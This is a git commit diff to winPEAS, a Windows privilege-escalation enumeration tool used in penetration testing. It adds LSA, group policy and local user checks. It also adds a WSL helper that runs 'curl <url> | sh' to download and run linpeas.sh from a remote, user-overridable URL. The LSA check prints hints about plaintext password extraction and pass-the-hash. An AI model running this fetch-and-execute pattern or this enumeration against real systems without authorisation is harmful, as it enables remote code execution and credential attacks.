- updated PrintWSLDistributions - running linpeas.sh in default WSL distribution

- added PrintLSAInfo
- added PrintLocalGroupPolicy
- added PrintLocalUsers
This commit is contained in:
makikvues 2021-02-09 22:51:16 +01:00
parent 647fe190ef
commit df843d3825
16 changed files with 545 additions and 27 deletions

View File

@ -37,6 +37,9 @@ namespace winPEAS.Checks
private static List<SystemCheck> _systemChecks;
private static HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();
// github url for Linpeas.sh
public static string LinpeasUrl = "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh";
public const string LogFile = "out.txt";
@ -130,6 +133,18 @@ namespace winPEAS.Checks
IsDebug = true;
}
if (arg.StartsWith("linpeasUrl", StringComparison.CurrentCultureIgnoreCase))
{
var parts = arg.Split('=');
if (parts.Length != 2 || string.IsNullOrEmpty(parts[1]))
{
Beaprint.PrintUsage();
return;
}
LinpeasUrl = parts[1];
}
string argToLower = arg.ToLower();
if (systemCheckAllKeys.Contains(argToLower))
{

View File

@ -1,13 +1,16 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using winPEAS.Helpers;
using winPEAS.Helpers.Registry;
using winPEAS.Helpers.Search;
using winPEAS.Info.FilesInfo.Certificates;
using winPEAS.Info.FilesInfo.McAfee;
using winPEAS.Info.FilesInfo.WSL;
using winPEAS.Info.UserInfo;
using winPEAS.InterestingFiles;
using winPEAS.KnownFileCreds;
@ -123,7 +126,6 @@ namespace winPEAS.Checks
PrintUnattendFiles,
PrintSAMBackups,
PrintMcAffeSitelistFiles,
PrintLinuxShells,
PrintCachedGPPPassword,
PrintPossCredsRegs,
PrintUserCredsFiles,
@ -138,6 +140,7 @@ namespace winPEAS.Checks
PrintHiddenFilesAndFolders,
PrintOtherUsersInterestingFiles,
PrintExecutablesInNonDefaultFoldersWithWritePermissions,
PrintWSLDistributions,
}.ForEach(action => CheckRunner.Run(action, isDebug));
SearchHelper.CleanLists();
@ -242,12 +245,13 @@ namespace winPEAS.Checks
}
}
void PrintLinuxShells()
void PrintWSLDistributions()
{
Beaprint.MainPrint("Looking for Linux shells/distributions - wsl.exe, bash.exe");
List<string> linuxShells = InterestingFiles.InterestingFiles.GetLinuxShells();
string hive = "HKCU";
string basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss";
const string linpeas = "linpeas.sh";
if (linuxShells.Any())
{
@ -264,13 +268,11 @@ namespace winPEAS.Checks
if (wslKeys.Any())
{
const string linpeas = "linpeas.sh";
const string distribution = "Distribution";
const string rootDirectory = "Root directory";
const string runWith = "Run command";
Dictionary<string, string> colors = new Dictionary<string, string>();
var colors = new Dictionary<string, string>();
new List<string>
{
linpeas,
@ -298,6 +300,19 @@ namespace winPEAS.Checks
}
catch (Exception) { }
}
// try to run linpeas.sh in the default distribution
Beaprint.ColorPrint($" Running {linpeas} in the default distribution\n" +
$" Using linpeas.sh URL: {Checks.LinpeasUrl}", Beaprint.LBLUE);
try
{
WSL.RunLinpeas(Checks.LinpeasUrl);
}
catch (Exception ex)
{
Beaprint.PrintException($" Unable to run linpeas.sh: {ex.Message}");
}
}
else
{

View File

@ -16,6 +16,7 @@ using winPEAS.Helpers.Extensions;
using winPEAS.Helpers.Registry;
using winPEAS.Info.SystemInfo.AuditPolicies;
using winPEAS.Info.SystemInfo.DotNet;
using winPEAS.Info.SystemInfo.GroupPolicy;
using winPEAS.Info.SystemInfo.WindowsDefender;
namespace winPEAS.Checks
@ -74,7 +75,9 @@ namespace winPEAS.Checks
PrintDrivesInfo,
PrintWSUS,
PrintAlwaysInstallElevated,
PrintLSAInfo,
PrintLsaCompatiblityLevel,
PrintLocalGroupPolicy,
AppLockerHelper.PrintAppLockerPolicy,
PrintPrintersWMIInfo,
PrintNamedPipes,
@ -964,5 +967,85 @@ namespace winPEAS.Checks
{
}
}
private static void PrintLSAInfo()
{
try
{
Beaprint.MainPrint("Enumerate LSA settings - auth packages included\n");
var settings = RegistryHelper.GetRegValues("HKLM", "SYSTEM\\CurrentControlSet\\Control\\Lsa");
if ((settings != null) && (settings.Count != 0))
{
foreach (var kvp in settings)
{
var val = string.Empty;
if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.String"))
{
val = string.Join(",", (string[])kvp.Value);
}
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
{
val = System.BitConverter.ToString((byte[])kvp.Value);
}
else
{
val = kvp.Value.ToString();
}
var key = kvp.Key;
Beaprint.NoColorPrint($" {key,-30} : {val}");
if (Regex.IsMatch(key, "Security Packages") && Regex.IsMatch(val, @".*wdigest.*"))
{
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
}
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
{
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
}
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
{
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
}
}
}
}
catch (Exception ex)
{
}
}
private static void PrintLocalGroupPolicy()
{
try
{
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
foreach (var info in infos)
{
Beaprint.NoColorPrint($" Type : {info.GPOType}\n" +
$" Display Name : {info.DisplayName}\n" +
$" Name : {info.GPOName}\n" +
$" Extensions : {info.Extensions}\n" +
$" File Sys Path : {info.FileSysPath}\n" +
$" Link : {info.Link}\n" +
$" GPO Link : {info.GPOLink.GetDescription()}\n" +
$" Options : {info.Options.GetDescription()}\n");
Beaprint.PrintLineSeparator();
}
}
catch (Exception ex)
{
}
}
}
}

View File

@ -8,6 +8,7 @@ using winPEAS.Info.UserInfo;
using winPEAS.Info.UserInfo.LogonSessions;
using winPEAS.Info.UserInfo.Token;
using winPEAS.Native;
using winPEAS.Native.Enums;
using winPEAS.Native.Structs;
namespace winPEAS.Checks
@ -43,6 +44,7 @@ namespace winPEAS.Checks
PrintTokenP,
PrintClipboardText,
PrintLoggedUsers,
PrintLocalUsers,
PrintRdpSessions,
PrintEverLoggedUsers,
PrintHomeFolders,
@ -54,7 +56,7 @@ namespace winPEAS.Checks
Dictionary<string, string> ColorsU()
{
Dictionary<string, string> usersColors = new Dictionary<string, string>()
var usersColors = new Dictionary<string, string>()
{
{ Checks.PaintActiveUsersNoAdministrator, Beaprint.ansi_users_active },
{ Checks.CurrentUserName + "|"+ Checks.CurrentUserDomainName, Beaprint.ansi_current_user },
@ -336,5 +338,58 @@ namespace winPEAS.Checks
{
}
}
private static void PrintLocalUsers()
{
try
{
Beaprint.MainPrint("Display information about local users");
var computerName = Environment.GetEnvironmentVariable("COMPUTERNAME");
var localUsers = User.GetLocalUsers(computerName);
var colors = new Dictionary<string, string>
{
{ "Administrator", Beaprint.ansi_color_bad },
{ "Guest", Beaprint.YELLOW },
{ "False", Beaprint.ansi_color_good },
{ "True", Beaprint.ansi_color_bad },
};
foreach (var localUser in localUsers)
{
var enabled = ((localUser.flags >> 1) & 1) == 0;
var pwdLastSet = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
var lastLogon = new DateTime(1970, 1, 1, 0, 0, 0);
if (localUser.passwordAge != 0)
{
pwdLastSet = DateTime.Now.AddSeconds(-localUser.passwordAge);
}
if (localUser.last_logon != 0)
{
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
}
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
$" User Name : {localUser.name}\n" +
$" User Id : {localUser.user_id}\n" +
$" Is Enabled : {enabled}\n" +
$" User Type : {(UserPrivType)localUser.priv}\n" +
$" Comment : {localUser.comment}\n" +
$" Last Logon : {lastLogon}\n" +
$" Logons Count : {localUser.num_logons}\n" +
$" Password Last Set : {pwdLastSet}\n",
colors);
Beaprint.PrintLineSeparator();
}
}
catch (Exception ex)
{
}
}
}
}

View File

@ -122,6 +122,7 @@ namespace winPEAS.Helpers
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
Console.WriteLine(LBLUE + " log" + GRAY +$" Log all output to file \"{Checks.Checks.LogFile}\"" + NOCOLOR);
Console.WriteLine(LBLUE + " linpeasUrl=<url>" + GRAY + $" Provide linpeas.sh URL for WSL checks (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
Console.WriteLine(YELLOW + " [+] " + LYELLOW + "By default all checks (except CMD checks) are executed" + NOCOLOR);
}

View File

@ -0,0 +1,80 @@
using System;
using System.Diagnostics;
using System.Text;
namespace winPEAS.Info.FilesInfo.WSL
{
public class WSL
{
public static void RunLinpeas(string linpeasUrl)
{
string linpeasCmd = $"curl {linpeasUrl} --silent | sh";
string command = Environment.Is64BitProcess ?
$@"bash -c ""{linpeasCmd}""" :
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
ExecuteCommandLine(command);
}
private static void ExecuteCommandLine(string fullCommandLine,
string workingFolder = null,
string verb = "OPEN")
{
string executable = fullCommandLine;
string args = null;
if (executable.StartsWith("\""))
{
int at = executable.IndexOf("\" ");
if (at > 0)
{
args = executable.Substring(at + 1).Trim();
executable = executable.Substring(0, at);
}
}
else
{
int at = executable.IndexOf(" ");
if (at > 0)
{
if (executable.Length > at + 1)
{
args = executable.Substring(at + 1).Trim();
}
executable = executable.Substring(0, at);
}
}
var processStartInfo = new ProcessStartInfo
{
UseShellExecute = false,
Verb = verb,
CreateNoWindow = true,
FileName = executable,
WorkingDirectory = workingFolder,
Arguments = args,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = Encoding.UTF8
};
using (var process = Process.Start(processStartInfo))
{
if (process != null)
{
while (!process.StandardOutput.EndOfStream)
{
string line = process.StandardOutput.ReadLine();
Console.WriteLine(line);
}
while (!process.StandardError.EndOfStream)
{
string line = process.StandardError.ReadLine();
Console.WriteLine(line);
}
}
}
}
}
}

View File

@ -0,0 +1,85 @@
using System.Collections.Generic;
using Microsoft.Win32;
using winPEAS.Helpers.Registry;
using winPEAS.Native.Enums;
namespace winPEAS.Info.SystemInfo.GroupPolicy
{
internal class GroupPolicy
{
public static IEnumerable<LocalGroupPolicyInfo> GetLocalGroupPolicyInfos()
{
// reference - https://specopssoft.com/blog/things-work-group-policy-caching/
// local machine GPOs
var basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0";
var machineIDs = RegistryHelper.GetRegSubkeys("HKLM", basePath) ?? new string[] { };
foreach (var id in machineIDs)
{
var settings = RegistryHelper.GetRegValues("HKLM", $"{basePath}\\{id}");
yield return new LocalGroupPolicyInfo(
settings["GPOName"],
"machine",
settings["DisplayName"],
settings["Link"],
settings["FileSysPath"],
(GPOOptions)settings["Options"],
(GPOLink)settings["GPOLink"],
settings["Extensions"]
);
}
// local user GPOs
var userGpOs = new Dictionary<string, Dictionary<string, object>>();
var sids = Registry.Users.GetSubKeyNames();
foreach (var sid in sids)
{
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes"))
{
continue;
}
var extensions = RegistryHelper.GetRegSubkeys("HKU", $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History");
if ((extensions == null) || (extensions.Length == 0))
{
continue;
}
foreach (var extension in extensions)
{
var path = $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{extension}";
var userIDs = RegistryHelper.GetRegSubkeys("HKU", path) ?? new string[] { };
foreach (var id in userIDs)
{
var settings = RegistryHelper.GetRegValues("HKU", $"{path}\\{id}");
if (userGpOs.ContainsKey($"{settings["GPOName"]}"))
{
continue;
}
userGpOs.Add($"{settings["GPOName"]}", settings);
}
}
}
foreach (var userGPO in userGpOs)
{
yield return new LocalGroupPolicyInfo(
userGPO.Value["GPOName"],
"user",
userGPO.Value["DisplayName"],
userGPO.Value["Link"],
userGPO.Value["FileSysPath"],
(GPOOptions)userGPO.Value["Options"],
(GPOLink)userGPO.Value["GPOLink"],
userGPO.Value["Extensions"]
);
}
}
}
}

View File

@ -0,0 +1,36 @@
using winPEAS.Native.Enums;
namespace winPEAS.Info.SystemInfo.GroupPolicy
{
class LocalGroupPolicyInfo
{
public object GPOName { get; }
public object GPOType { get; }
public object DisplayName { get; }
public object Link { get; set; }
public object FileSysPath { get; }
public GPOOptions Options { get; }
public GPOLink GPOLink { get; }
public object Extensions { get; }
public LocalGroupPolicyInfo(
object gpoName,
object gpoType,
object displayName,
object link,
object fileSysPath,
GPOOptions options,
GPOLink gpoLink,
object extensions)
{
GPOName = gpoName;
GPOType = gpoType;
DisplayName = displayName;
Link = link;
FileSysPath = fileSysPath;
Options = options;
GPOLink = gpoLink;
Extensions = extensions;
}
}
}

View File

@ -1,11 +1,15 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.DirectoryServices.AccountManagement;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Security.Principal;
using winPEAS.Helpers;
using winPEAS.KnownFileCreds;
using winPEAS.Native;
using winPEAS.Native.Structs;
namespace winPEAS.Info.UserInfo
{
@ -228,5 +232,42 @@ namespace winPEAS.Info.UserInfo
return result;
}
public static IEnumerable<USER_INFO_3> GetLocalUsers(string computerName)
{
uint MAX_PREFERRED_LENGTH = unchecked((uint)-1);
// Returns local users
// FILTER_NORMAL_ACCOUNT == 2
var users = new List<USER_INFO_3>();
var retVal = Netapi32.NetUserEnum(computerName, 3, 2, out var bufPtr, MAX_PREFERRED_LENGTH, out var entriesRead, out var totalEntries, out var resume);
if (retVal != 0)
{
var errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
throw new Exception("Error code " + retVal + ": " + errorMessage);
}
if (entriesRead == 0)
{
return users;
}
var names = new string[entriesRead];
var userInfo = new USER_INFO_3[entriesRead];
var iter = bufPtr;
for (var i = 0; i < entriesRead; i++)
{
userInfo[i] = (USER_INFO_3)Marshal.PtrToStructure(iter, typeof(USER_INFO_3));
users.Add(userInfo[i]);
//x64 safe
iter = new IntPtr(iter.ToInt64() + Marshal.SizeOf(typeof(USER_INFO_3)));
}
Netapi32.NetApiBufferFree(bufPtr);
return users;
}
}
}

View File

@ -0,0 +1,22 @@
using System.ComponentModel;
namespace winPEAS.Native.Enums
{
enum GPOLink
{
[Description("No Link Information")]
NO_LINK_INFORMATION = 0,
[Description("Local Machine")]
LOCAL_MACHINE = 1,
[Description("Site")]
SITE = 2,
[Description("Domain")]
DOMAIN = 3,
[Description("Organizational Unit")]
ORGANIZATIONAL_UNIT = 4
}
}

View File

@ -0,0 +1,19 @@
using System.ComponentModel;
namespace winPEAS.Native.Enums
{
enum GPOOptions
{
[Description("All Sections Enabled")]
ALL_SECTIONS_ENABLED = 0,
[Description("User Section Disbled")]
USER_SECTION_DISABLED = 1,
[Description("Computer Section Disable")]
COMPUTER_SECTION_DISABLE = 2,
[Description("All Sections Disabled")]
ALL_SECTIONS_DISABLED = 3
}
}

View File

@ -0,0 +1,9 @@
namespace winPEAS.Native.Enums
{
public enum UserPrivType
{
Guest = 0,
User = 1,
Administrator = 2
}
}

View File

@ -31,5 +31,16 @@ namespace winPEAS.Native
[DllImport("Netapi32", SetLastError = true), SuppressUnmanagedCodeSecurity]
internal static extern int NetApiBufferFree(IntPtr pBuf);
[DllImport("Netapi32.dll")]
internal static extern uint NetUserEnum(
[MarshalAs(UnmanagedType.LPWStr)] string serverName,
uint level,
uint filter,
out IntPtr bufPtr,
uint preferredMaxLength,
out uint entriesRead,
out uint totalEntries,
out IntPtr resumeHandle);
}
}

View File

@ -0,0 +1,39 @@
using System;
using System.Runtime.InteropServices;
namespace winPEAS.Native.Structs
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct USER_INFO_3
{
[MarshalAs(UnmanagedType.LPWStr)] public string name;
[MarshalAs(UnmanagedType.LPWStr)] public string password;
public uint passwordAge;
public uint priv;
[MarshalAs(UnmanagedType.LPWStr)] public string home_dir;
[MarshalAs(UnmanagedType.LPWStr)] public string comment;
public uint flags;
[MarshalAs(UnmanagedType.LPWStr)] public string script_path;
public uint auth_flags;
[MarshalAs(UnmanagedType.LPWStr)] public string full_name;
[MarshalAs(UnmanagedType.LPWStr)] public string usr_comment;
[MarshalAs(UnmanagedType.LPWStr)] public string parms;
[MarshalAs(UnmanagedType.LPWStr)] public string workstations;
public uint last_logon;
public uint last_logoff;
public uint acct_expires;
public uint max_storage;
public uint units_per_week;
public IntPtr logon_hours;
public uint bad_pw_count;
public uint num_logons;
[MarshalAs(UnmanagedType.LPWStr)] public string logon_server;
public uint country_code;
public uint code_page;
public uint user_id;
public uint primary_group_id;
[MarshalAs(UnmanagedType.LPWStr)] public string profile;
[MarshalAs(UnmanagedType.LPWStr)] public string home_dir_drive;
public uint password_expired;
}
}

View File

@ -417,6 +417,7 @@
<Compile Include="Info\FilesInfo\McAfee\McAfee.cs" />
<Compile Include="Info\FilesInfo\McAfee\McAfeeSiteInfo.cs" />
<Compile Include="Info\FilesInfo\McAfee\McAfeeSitelistInfo.cs" />
<Compile Include="Info\FilesInfo\WSL\WSL.cs" />
<Compile Include="Info\NetworkInfo\Enums\IPVersion.cs" />
<Compile Include="Info\NetworkInfo\Enums\MibTcpState.cs" />
<Compile Include="Info\NetworkInfo\Enums\Protocol.cs" />
@ -441,6 +442,8 @@
<Compile Include="Info\SystemInfo\CredentialGuard.cs" />
<Compile Include="Info\SystemInfo\DotNet\DotNet.cs" />
<Compile Include="Info\SystemInfo\DotNet\DotNetInfo.cs" />
<Compile Include="Info\SystemInfo\GroupPolicy\GroupPolicy.cs" />
<Compile Include="Info\SystemInfo\GroupPolicy\LocalGroupPolicyInfo.cs" />
<Compile Include="Info\SystemInfo\NamedPipes\NamedPipeInfo.cs" />
<Compile Include="Info\SystemInfo\NamedPipes\NamedPipes.cs" />
<Compile Include="Info\SystemInfo\Printers\PrinterInfo.cs" />
@ -512,6 +515,8 @@
<Compile Include="Native\Enums\CredentialType.cs" />
<Compile Include="Native\Enums\DS_NAME_FLAGS.cs" />
<Compile Include="Native\Enums\DS_NAME_FORMAT.cs" />
<Compile Include="Native\Enums\GPOLink.cs" />
<Compile Include="Native\Enums\GPOOptions.cs" />
<Compile Include="Native\Enums\NetJoinStatus.cs" />
<Compile Include="Native\Enums\PrivilegeAttributes.cs" />
<Compile Include="Native\Enums\SECURITY_IMPERSONATION_LEVEL.cs" />
@ -521,6 +526,7 @@
<Compile Include="Native\Enums\TokenType.cs" />
<Compile Include="Native\Enums\TOKEN_ELEVATION_TYPE.cs" />
<Compile Include="Native\Enums\TOKEN_INFORMATION_CLASS.cs" />
<Compile Include="Native\Enums\UserPrivType.cs" />
<Compile Include="Native\Enums\WTS_INFO_CLASS.cs" />
<Compile Include="Native\Iphlpapi.cs" />
<Compile Include="Native\Kernel32.cs" />
@ -537,6 +543,7 @@
<Compile Include="Native\Structs\TOKEN_ELEVATION.cs" />
<Compile Include="Native\Structs\TOKEN_MANDATORY_LABEL.cs" />
<Compile Include="Native\Structs\TOKEN_PRIVILEGES.cs" />
<Compile Include="Native\Structs\USER_INFO_3.cs" />
<Compile Include="Native\User32.cs" />
<Compile Include="Native\Vaultcli.cs" />
<Compile Include="Native\WlanApi.cs" />